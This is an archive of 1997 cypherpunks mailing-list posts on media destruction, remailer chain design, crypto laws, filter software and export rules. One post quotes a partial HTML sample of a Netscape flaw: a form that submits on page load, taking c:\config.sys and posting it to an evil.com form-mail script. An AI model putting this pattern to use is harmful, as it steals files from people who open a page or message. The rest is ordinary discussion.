Date: Wed, 2 Jul 1997 14:55:08 +0800
To: shamrock@netcom.com
Subject: Re: Degaussing
In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
Message-ID: <199707020629.CAA15333@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >Could someone please point me to a FAQ or somesuch about degaussing
> >magnetic media? Thank you!
> 
> Mini-FAQ:
> 1. How do I degauss magnetic media so that the feds can no longer read my
> data?
> 
> You don't. That's why the feds themselves don't degauss their magnetic
> media for declassification purposes. They remove the oxide layer. In case
> of floppies the preferred method is incineration, in case of hard drives,
> the usual technique is sandblasting.

	This may also have to do with the many documented instances when
federal hard drives, including some from NSA computers, were sold 
surplus unerased with significant sensitive information still intact on
them (I know personally of once such incident of many).

	Destroying the disks makes sure that they were, in fact,
rendered  unreadable and not just signed off on by some bored low paid
clerk charged with demilitizing them who didn't want to bother to figure
out how to erase them.  The problem here is that a destroyed disk is
obviously  unreadable to even the most dumb and unmotivated clerk with a
GED, while a merely erased disk looks just exactly like  one full of
sensitive information - actually verifying that the information is in
fact entirely gone requires a lot of technical skill and is subject to
all kinds of false positives (how about sectors that contained sensitive
stuff and then were later marked bad and swapped with alternates, for
example ? )

	I think all of us forget that the usual key to crypto protected
secrets is in the trash and surplus equipment and document disposal
practices of the target rather than advanced mathematics.   And most
technical people pay as little attention as they possibly can to what
happens with the old floppies left by Joe who quit to take a new job
or what happened to Sallie's old hard drive after she got the new 
computer, or whether the old backup tapes really are all fully accounted
for or were thrown out in the move...


	I applaud the government for forgoing a few dollars in residual
revenue by not selling old disks intact any more.

							Dave Emery
							die@die.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 12:20:39 +0800
To: cypherpunks@toad.com
Subject: Re: Internet - Good & Bad [CNN]
Message-ID: <19970702034658.19497.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

> >    Time NEW YORK (CNNfn) - New technologies for video transmission over
> >    the Internet, such as digital video discs (DVDs), represent remarkable

The article lost credibility in the first sentence. Is that a record?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 12:16:02 +0800
To: cypherpunks@toad.com
Subject: Re: Netscape Exploit
Message-ID: <199707020350.FAA24898@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> >Here is a sample it isn't complete but you get the basic idea of what is
> >going on
> ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
> >
> ><BODY onLoad="daForm.submit()">
> ><FORM
> >	NAME="daForm"
> >	ACTION="http://evil.com/cgi-bin/formmail.pl"
> >	METHOD=POST>
> >
> ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
> >Harddrive">
> ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
> >
> >and so on and so forth...

So if someone was using Netscape to read mail, and I included a small bit
of HTML like the above, I could snarf up files out of everywhere?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pedro David Castanheira Polonia <deec1@tom.fe.up.pt>
Date: Wed, 2 Jul 1997 14:55:36 +0800
To: Coderpunks mailling list <coderpunks@toad.com>
Subject: a little problem...
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <Pine.OSF.3.96.970702072054.27491A-100000@tom.fe.up.pt>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

hi!
  here goes: i'm tring to put on our campus (my university) one machine to
make the gateway betwen radio amat. and the internet.. at the begining it
may be only e-mail, and web.
  I'm thinking in using a linux on a pentium, conected with one or two
baycom modem conected to the radio, and running a tcp packet radio
network. In the machine, i put squid, or other proxie server for web, a
pop mail and a connection to our moo (atlantis.fe.up.pt 7777).

  first problem: how to make the autentication ? every one in the the
packet radio network gets all packets... i was thinking in using secure
shell, but i only get one machine, and if i get, say, 15 users, i don't
get the cpu power to manage all that stuff.

  second problem: i want to gerate free acounts/free e-mails automatic for
the radio ham. where can i get all this software? BTW, i'm in europe,
portugal. anyone have any electronic hardware (not expensive), to speed up
the autentication (without fancy chips that nobody have ..) ?
   please reply to me with your sugestions, flames, etc
							cheers
							   Pedro
 --
			   ______________
 +------------------------/___________  /\------------------------------+
 |   Peace, love and      \  ________/ / /   "It is impossible to love  |
 | 8 hours of sleep! ;-)   \ \ \    / / /         and to be wise."      | 
 |                          \ \ \  / / /                Francis Bacon   |
 |    Pedro David Polonia    \ \ \/ / /                                 |
 |  Pgpfinger: 5E 98 1D 8D C1 \ \ \/ / E3 88 A1 1E EC 73 F9 88 2B 8F 64 |
 +-----------------------------\ \  /-----------------------------------+
			        \_\/ 


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv
Comment: free your mind...

iQCVAwUBM7mVT8+REMAvhl6hAQGYUgP9Gy6URrwcEg4p3gChfi8lpHrrJdR0aB24
PzzrwW/k2J6UpncPFYKYyTX/Jg/riajTpyOb5Qpjt2/4FZ3OK34IDFekD3mhTNFf
2zpKMlR2+ZBROTQCPiWtfVo9/IZeQCJYgI9dey5inL0xTh+egM5KcNpfn4Wsqp/d
R2QUKxpHPcc=
=+8jL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 2 Jul 1997 22:56:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <19970702074006.19127@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jul 01, 1997 at 08:46:53PM -0700, Tim May wrote:
> 
> There's been an ongoing discussion of the Huge Cojones remailer situation
> on the related newsgroups.
> 
> This has a lot of relevance to our issues, and this is one of the more
> illuminating articles.
> 
> --Tim

This probably has been suggested 20 years ago, but wouldn't Jeff's
problem have been solved if the following slight modification were
made to the algorithm: If you are the last remailer in a chain, then
with probability p you pick another randomly choosen remailer to send
through.  If p is 1 end user mail would never come from you; if p is
0.5 then half the time you send the mail on one more step.  The end 
user, then, can never be sure of which remailer will ultimately 
deliver the message.

If all remailers used this algorithm it has the disadvantage that mail
could float for a very long, non-deterministic time in the network --
if p were globally 1/2, for example, then with probality 1/1024, a
message would float on for 10 more hops. 

But it has the advantage that the end user cannot pick which remailer
will ultimately deliver the message, thus making it much more
difficult to pick on a single remailer.  It makes annonymous mailing 
a less attractive service, since you introduce significant delays, 
and an increased probability of loss.  But maybe making anon 
remailing less attractive would be a good thing.

The non-deterministic retention time in the network could probably be
solved, but at the expense of some significant complexity.  I have 
not been able to think of a secure way to do it, however.  [If the 
remailers know and trust each other, the problem is easy.]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 2 Jul 1997 20:57:12 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
Message-ID: <qoR89D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:
> media for declassification purposes. They remove the oxide layer. In case
> of floppies the preferred method is incineration, in case of hard drives,
> the usual technique is sandblasting.

5.25" floppies could be run via a shredder (a big one, not the puny little
thing I have at home) but 3.5" floppies would make almost any shredder choke.

Some large corporations sell their old floppies to China, where they're
supposedly recycled into magentic strips for credit cards.

Hmm...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 2 Jul 1997 20:39:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Liberating the Bits
In-Reply-To: <v03102801afdf55bc34b9@[207.167.93.63]>
Message-ID: <Pine.LNX.3.94.970702080935.29920B-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 1 Jul 1997, Tim May wrote:

> Technology liberates the bits.

Copyright law is not only useless on the net but inefficient; one need only
compare the performance of free, copylefted software versus proprietary,
closed software to see which is better. But now it is possible to apply the
same principle of copyleft to _all_ non-software information, too --
including text, images and music. I have done this myself with novels and
albums of music, and have posted full instructions on how to apply this to
non-software information at <http://dsl.org/copyleft/>.


m

Michael Stutz
stutz@dsl.org
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 2 Jul 1997 18:42:51 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <9707021020.AA54194@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> Could someone please point me to a FAQ or somesuch about degaussing
> magnetic media? Thank you!

I guess this is what you are looking for:

http://www.cs.auckland.ac.nz/~pgut001/secure_del.html 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Wed, 2 Jul 1997 23:43:29 +0800
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <9A131B1A13@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain



I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
-    update on Australia (Walsh report), Germany (Interior Ministry
     opinion), Sweden (IT commission report), US (government bill
     amended, Kerrey-McCain bill, SAFE act amended and passed House
     committees, czar travel FOIA request) 
-    clarification on Singapore (import, domestic), Japan (government cannot choose) 
-    URLs added to Belgium (law proposals), Canada (export), UK (cyber-rights report) 

Comments are as always welcomed.

Kind regards,
Bert-Jaap

---------------------------------------------------------------------
Bert-Jaap Koops                         tel     +31 13 466 8101
Center for Law, Administration and      facs    +31 13 466 8149
Informatization, Tilburg University     e-mail  E.J.Koops@kub.nl
                  --------------------------------------------------
Postbus 90153    |  This world's just mad enough to have been made  |
5000 LE Tilburg  |    by the Being his beings into being prayed.    |
The Netherlands  |                (Howard Nemerov)                  |
---------------------------------------------------------------------
         http://cwis.kub.nl/~frw/people/koops/bertjaap.htm
---------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 00:11:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <v03102800afe02a4159d2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:40 AM -0700 7/2/97, Kent Crispin wrote:

>This probably has been suggested 20 years ago, but wouldn't Jeff's
>problem have been solved if the following slight modification were
>made to the algorithm: If you are the last remailer in a chain, then
>with probability p you pick another randomly choosen remailer to send
>through.  If p is 1 end user mail would never come from you; if p is
>0.5 then half the time you send the mail on one more step.  The end
>user, then, can never be sure of which remailer will ultimately
>deliver the message.
...

This general sort of thing has been discussed...though not 20 years ago! :-0

I don't know about this particular mathematical algorithm, but things
generally like it.

Long before a remailer shuts down, he should certainly adopt a strategy
like this. Sending "his" traffic through randomly selected other remailers
is certainly an option. (Any remailer can at any point insert additional
hops, or even chains of hops, merely be addressing them correctly. Of
course, the "original" (which may not be the real original, of course, as
other remailers may have done the same thing) needs to "get back on track,"
else the decryptions won't work. But this is all a simple problem.

I don't know what gets discussed on the "remailer operators list," not
being on it, but it sure seems to me that remailers have stagnated, and
that some of the robust methods of reducing attacks on any particular
remailer are not being used.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 01:16:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702074006.19127@bywater.songbird.com>
Message-ID: <19970702100000.40925@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 11:53:56AM -0400, Ryan Anderson wrote:
> On Wed, 2 Jul 1997, Kent Crispin wrote:
> 
> > The non-deterministic retention time in the network could probably be
> > solved, but at the expense of some significant complexity.  I have 
> > not been able to think of a secure way to do it, however.  [If the 
> > remailers know and trust each other, the problem is easy.]
> 
> Remailers using this could be configured to not modify the "date" header
> until final delivery.  Then you can base the probablity of final delivery
> upon some function of date/time or another header
> "X-Remailer-Max-Delay-Time:"   If you're worried about traffic analysis,
> it is possible to randomly modify the date/time header by small amounts
> at each hop.  (This however only helps and somewhat loaded systems..)

The Evil One can always masquerade as the next to the last remailer, 
with suitably altered date fields or whatever.  I wasn't thinking in 
terms of traffic analysis -- I was thinking in terms of guaranteeing 
that the last remailer in the chain, the one that actually delivers 
the message, cannot be predicted in advance.

The current remailer algorithm allows an evil user to cause a 
particular remailer to be the source of Bad Stuff, which makes that 
remailer a target of those who don't like the Bad Stuff.  The basic 
problem is that the end user is able to specify the remailer chain.

[Digital postage can't do much to solve this problem, BTW.  The
offensiveness of a message is not measured by the postage.]

On the face of it, this seems like a relatively simple problem.  The 
current algorithm allows the end user to specify the final remailer 
-- change it so that the final remailer is not under the end user's 
control.  The problem is, how does the final remailer know whether it 
was chosen by the end user, or by another remailer who *used* to be the 
final.

Incidentally, another useful modification of having the final 
remailer forward one more time is this:

if( destination address is in my legal jurisdiction )then
	with higher probability forward to another randomly chosen remailer
else
	with lower probability forward to another remailer
endif

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 3 Jul 1997 01:17:09 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Degaussing
In-Reply-To: <v03007807afdfa4164e9d@[207.94.249.161]>
Message-ID: <Pine.GSO.3.96.970702100619.20299F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 1 Jul 1997, Bill Frantz wrote:

> 
> At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >>
> >>Could someone please point me to a FAQ or somesuch about degaussing
> >>magnetic media? Thank you!
> >
> >Electromagnetic pulse.  You want something as strong as possible.  About 10
> >megatons should generate a big enough pulse.
> 
> It works better if you also expose it to the heat and blast.  :-)
> 
> In all seriousness, complete physical destruction of the media is the only
> sure technique.  Lucky Green's sandblasting sounds like it should work
> well.  Melting it into slag should also work.

That reminds me...  I have some old drives I need to take down to the
shooting range.  (I want to make them an example to the other drives...)

Sounds like a Cypherpunk project to me. ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 00:05:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702074006.19127@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970702115120.26026B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Kent Crispin wrote:

> The non-deterministic retention time in the network could probably be
> solved, but at the expense of some significant complexity.  I have 
> not been able to think of a secure way to do it, however.  [If the 
> remailers know and trust each other, the problem is easy.]

Remailers using this could be configured to not modify the "date" header
until final delivery.  Then you can base the probablity of final delivery
upon some function of date/time or another header
"X-Remailer-Max-Delay-Time:"   If you're worried about traffic analysis,
it is possible to randomly modify the date/time header by small amounts
at each hop.  (This however only helps and somewhat loaded systems..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 07594284@juno.com
Date: Thu, 3 Jul 1997 01:23:49 +0800
To: ups@juno.com
Subject: special notice
Message-ID: <199703170025.GAA079@imsday.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 04:11:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707020337.UAA17514@you.got.net>
Message-ID: <19970702125735.31906@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 09:00:04AM -0700, Tim May wrote:
> At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
> 
> >This probably has been suggested 20 years ago, but wouldn't Jeff's
> >problem have been solved if the following slight modification were
> >made to the algorithm: If you are the last remailer in a chain, then
> >with probability p you pick another randomly choosen remailer to send
> >through.  If p is 1 end user mail would never come from you; if p is
> >0.5 then half the time you send the mail on one more step.  The end
> >user, then, can never be sure of which remailer will ultimately
> >deliver the message.
> ...
> 
> This general sort of thing has been discussed...though not 20 years ago! :-0

Just teasing. 

> I don't know about this particular mathematical algorithm, but things
> generally like it.
> 
> Long before a remailer shuts down, he should certainly adopt a strategy
> like this. Sending "his" traffic through randomly selected other remailers
> is certainly an option. (Any remailer can at any point insert additional
> hops, or even chains of hops, merely be addressing them correctly. Of
> course, the "original" (which may not be the real original, of course, as
> other remailers may have done the same thing) needs to "get back on track,"
> else the decryptions won't work. But this is all a simple problem.

I don't think it is so simple.  It is, as you say, easy to add
interior hops, but they don't do the remailers any good -- they add
cover for the end user only.  It is the "exterior edge" remailers that
are at risk, and such a remailer has no easy way of knowing if it was 
selected at random, or was chosen as a specific target.  At least, I 
can't think of an easy way.  A particular remailer may have cohorts 
it trusts to be sources of random selection, but remailer trust is a 
flimsy foundation.

> I don't know what gets discussed on the "remailer operators list," not
> being on it, but it sure seems to me that remailers have stagnated, and
> that some of the robust methods of reducing attacks on any particular
> remailer are not being used.

It's a problem with any infrastructure, though -- once it is in 
place, change becomes hard.

The next generation remailer infrastructure should support a great
many remailers, and it should be impossible to target any single
remailer.   The infrastructure as a whole should be resistant to 
attack. 

This seems to imply 1) that remailers be small, cheap, easy to install
and run, 2) mail volume through any particular remailer should be
small, 3) the infrastructure should support transient remailers -- I
guess that is just a particular of a general robustness requirement;
4) the infrastructure should support volume restrictions from source
addresses -- for example, allow only 1 message per day from a
particular address.

Also, the "routing algorithm" should involve two stages -- the first
stage should be for the benefit of and controlled by the end user, to
bury the message in the network so that it can't be traced (unless a
secure retrace path is built in to the message).  The second stage is
for the benefit of the remailers, and controlled by them.  During the 
first stage the message is masked, and the destination address is 
unavailable, during the second stage the message is unmasked, and the 
destination address and message (probably) are clear, and the 
remailer network is trying to decide which remailer to make the final 
delivery.  (When I say "unmasked" I mean only at the remailer node -- 
not in transit -- the message is *always* encrypted in transit.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 03:19:37 +0800
To: cypherpunks@toad.com
Subject: Re: Column, July 8
Message-ID: <199707021858.MAA28995@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote:
>     FROM MOUNTAIN MEDIA
>     FOR IMMEDIATE RELEASE DATED JULY 8, 1997
>     THE LIBERTARIAN, By Vin Suprynowicz
>     When did we start valuing 'stability' over 'freedom'?
 
>     Did anyone else watch in disbelief the televised "celebration" of the
> humiliating surrender of the free city of Hong Kong to a bloodthirsty,
> totalitarian slave state on June the 30th?
...
>   In fact, in all the coverage I watched, the word "freedom" was never used
> once ... ranking right up there with another unheard word, "Communist."
> 
>   I swear to you, despite multiple respectful references to the "People's
> Liberation Army" (which appeared to have suited up in powder blue uniforms,
> like extras in a James Bond film, for the occasion) there was not one use
> of the word "Red" or "Communist." I was actually starting to picture an NBC
> news anchor in Hungary in 1956 smilingly reporting, "A great sigh of relief
> is being heard here as the People's Liberation tanks return, guaranteeing
> at least another decade of 'stability'."
...
>    A news clip gave us the city's new Red party boss, the day before, being
> asked whether the new regime would tolerate demonstrations and freedom of
> speech.
> 
>   "We may tolerate some freedom of speech," he said in his kindly,
> avuncular way, "depending on what they try to say."
> 
>   Now there's a definition of freedom to warm the hearts of Roberta
> Achtenburg, Janet Reno, and Louis Freeh.

> ***
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  "We may tolerate some breathing," Janet Reno said in her kindly,
avuncular way, "depending on who tries to breathe."

  "We may tolerate some Assassination Politics," Louis Freeh said
in his kindly, avuncular way, "depending on who they are attempting
to assassinate."

  "We may tolerate some flaming," Sandy Sandfort said in his kindly,
avuncular way, "depending on who they are flaming."

  "We may tolerate some truth," TruthMonger said in his kindly,
avuncular way, "depending on what they are trying to monger."

D r .  R o b e r t s
~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 01:54:27 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: New Jersey's 'sexy' counties (fwd)
Message-ID: <Pine.SUN.3.96.970702134425.14343B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Subject: New Jersey's 'sexy' counties

Internet censors blocking Jersey's 'sexy' counties 
By Jeff May
Newark Star-Ledger
July 1, 1997 

With its tractor pulls, pig and poultry exhibitions, and demolition
derbies, the Sussex County Fair is almost a parody of wholesome fun. 

But to some programs that parents use to block pornographic material
on the Internet, the Web site for "New Jersey's Best Fair" might as well
be a pit of sin. 

The problem: Sussex contains the word "sex." To a computer
searching for smut, that's all that's needed to raise a red flag. 

Most filtering programs rely on key words, and sex is at the top of the
forbidden list. Children who try to log on to the Sussex fair site might
as well be trying to dial up Playboy online. 

Essex and Middlesex counties have the same problem. The free
program that America Online provides for its subscribers, for example,
blocks online access to both Essex County College and the Essex
County Clerk's Office. 

"We're as G-rated as a Disney movie," protested Patrick McNally, the
county clerk. 

Passport information and property tax tips hardly make for racy
subject matter, and McNally said he was "somewhat amused" that it
would be considered as such. Web surfers apparently agree: Since the
site was created earlier this year, only 2,958 people have visited it. 

"Probably 2,900 are me," McNally said. 

But McNally said he understood the impulse to use parental control
programs, which are expected to become more popular in the wake of
the Supreme Court's decision to strike down government control of
indecent material on the Internet. 

"As a father, I certainly don't want my children to stumble across
something they shouldn't on the Net," he said. "I could see where it
would be a problem." 

Most problems with the screening devices occur when parents rely on
the broadest keywords possible, said Gordon Ross, president and
CEO of Net Nanny, one of several programs on the market to screen
out objectionable content. They usually disappear as users become
more knowledgeable about the system. 

"Unfortunately, some people don't read the manuals," he said. 

Parents may not need to by 2000. Advances in artificial intelligence are
expected to make the cybercensors a lot more discriminating, Ross said.

"A lot of the decisions will be made by the computer itself," he said. 

Some companies say they've already reached that point. A spokesman
for Surfwatch, Jay Friedland, says the popular program uses "pattern
matching" to weed out references to sex but not acceptable ones such
as the poet Anne Sexton. 

"The key focus for us is real simplicity," Friedland said. "Even if we
were overblocking accidentally, it is very easy to turn off." 

But most e-mail requests to the company ask for advice about blocking
sites, not unblocking them, he said. 

"It's about 100 to one," he said. 

For now, sponsors of the Sussex County Fair aren't overly concerned
about children being unable to scroll through the festival's web site. The
site is a little more than a year old, but the fair doesn't rely on it for
promotions, said spokeswoman Kathleen Cafasso. 

Dropping the web site address's reference to Sussex which, like the
similar county names, is derived from the Saxons of old England isn't
an option, Cafasso said. 

"We wouldn't even consider it," she said. "It's not worth the lack of
identification." 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 02:01:15 +0800
To: cypherpunks@toad.com
Subject: ** INNOVATIONS: SPYING SAUCER ** (fwd)
Message-ID: <Pine.SUN.3.96.970702134520.14343C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 2 Jul 1997 00:16:51 -0400
From: Salvatore Denaro <sal@panix.com>
Subject: ** INNOVATIONS: SPYING SAUCER **

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

** INNOVATIONS: SPYING SAUCER **

Sikorsky Aircraft in Stratford, Conn., has designed and built a small,
round rotary-wing pilotless aircraft that can locate and follow objects,
flying down urban streets or peeping into windows.  The Cypher is
propelled by two rigid motors, one above the other, that revolve in
opposite directions.  The outside shell of the aircraft is rounded, like
a donut, giving the machine some protection when it bumps into tree
branches, or the sides of buildings. It can stay aloft for about two and
a half hours, using advanced software made by Lockheed Martin and
Northrup Grumman to find and trail enemy soldiers, or scout out an urban
setting for potential sharpshooters.  A video camera mounted on the
aircraft can peer through windows when engineers on the ground signal the
Cypher to land on a nearby rooftop.  "The beauty of Cypher," says the
aircraft's project leader, "is that it can fly low and slow."
(Scientific American Jun 97)  <http://www.sciam.com>

- --
Salvatore Denaro
sal@panix.com

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7nWM+TFOuwodGh3EQJG7gCg8nwH59/PW8qxqn+1QGCeShrVWYIAn3ff
xYOK8t8+DBU8rlve6UX6+IiE
=vFbW
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesley@binarycompass.com>
Date: Thu, 3 Jul 1997 05:17:50 +0800
To: "Cypherpunks" <cypherpunks@cyberpass.net>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <1344269781-47438381@mail.binarycompass.com>
MIME-Version: 1.0
Content-Type: text/plain



On 7/2/1997 10:10 AM, Paul Bradley said:

>> A simpler solution (which I believe was used for Unix distribution
>> CD's) would be to encrypt the naughty bits using a strong algorithm,
>> say 56 bit DES :-), but only distribute the decryption key to
>> USA/Canadian citizens. If you could get this past the Export people,
>> you could make a single CD available world-wide. Don't forget to
>> escrow the key with the French authorities.
>
>If someone made such a CD, then someone who obtained it within the US 
>posted the key so people outside US/Canada could decrypt the data, who 
>would be charged with exporting the software? Could there even be a case 
>for charging anyone, after all, keys are not covered in the export regs????
>It`s probably a moot point anyway as I doubt such a CD would be given an 
>export licence.

Which reminds me of...
Netscape can export 40-bit versions of Communicator, and according to one 
of their own employees (search back in the archives if you don't believe 
me) the only difference between the 40-bit version and the 128-bit 
version is a license file. Now license files aren't covered in export 
regulations, are they? So it's legal to export the 40-bit version of 
Communicator (which contains disabled 128-bit crypto) and it's legal to 
export the license file. Sounds like it's either not true or the 
government is stupider than I thought or the government is tired of 
trying to enforce such futile laws.

Wesley Felter - wesley@binarycompass.com - Binary Compass Enterprises
In BizRate we trust - <http://www.bizrate.com/>
Disclaimer: My employer knows I'm crazy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 3 Jul 1997 14:56:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto Law Survey updated
In-Reply-To: <9A131B1A13@frw3.kub.nl>
Message-ID: <v03007805afe077198410@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



There is a summary of the Canadian crypto rules, by Stewart Baker, at the
Steptoe and Johnson site:  http://www.steptoe.com/encryp.htm

I skimmed it today and it seems that Canada is considerably more liberal.
There are interesting issues regarding U.S.-originated content.

Lee

At 9:19 AM -0700 7/2/97, Bert-Jaap Koops wrote:
>I have just updated my survey of existing and envisaged cryptography
>laws and regulations.
>See the Crypto Law Survey at
>http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
>
>This update includes:
>-    update on Australia (Walsh report), Germany (Interior Ministry
>     opinion), Sweden (IT commission report), US (government bill
>     amended, Kerrey-McCain bill, SAFE act amended and passed House
>     committees, czar travel FOIA request)
>-    clarification on Singapore (import, domestic), Japan (government
>cannot choose)
>-    URLs added to Belgium (law proposals), Canada (export), UK
>(cyber-rights report)
>
>Comments are as always welcomed.
>
>Kind regards,
>Bert-Jaap
>







